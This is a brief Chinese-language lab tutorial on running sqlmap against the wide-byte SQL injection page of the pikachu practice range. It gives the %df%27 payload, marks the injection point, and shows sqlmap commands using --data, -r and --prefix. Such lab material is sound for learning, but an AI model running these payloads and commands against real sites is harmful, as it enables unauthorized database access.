sqlmap宽字节注入_姿势汇总

使用靶场pikachu，sql-inject的宽字节注入。
1、利用星号*
构造：name=1%df%27*%23 ，将*写在宽字节注入和注释符中间。

1)这里是post传参，可以利用 --data 指定：

sqlmap -u 'http://pikachu/vul/sqli/sqli_widebyte.php' --data "name=1%df%27*%23&submit=%E6%9F%A5%E8%AF%A2" --batch

2)也可以利用-r参数指定post数据包

*号位置也要写对。

sqlmap -r 1.txt --batch

2、利用--prefix
这个参数可以指定前缀，宽字节注入设置前缀为%df'即可
sqlmap一把梭：

sqlmap -u 'http://pikachu/vul/sqli/sqli_widebyte.php' --data "name=1&submit=%E6%9F%A5%E8%AF%A2" --prefix "%df'" --batch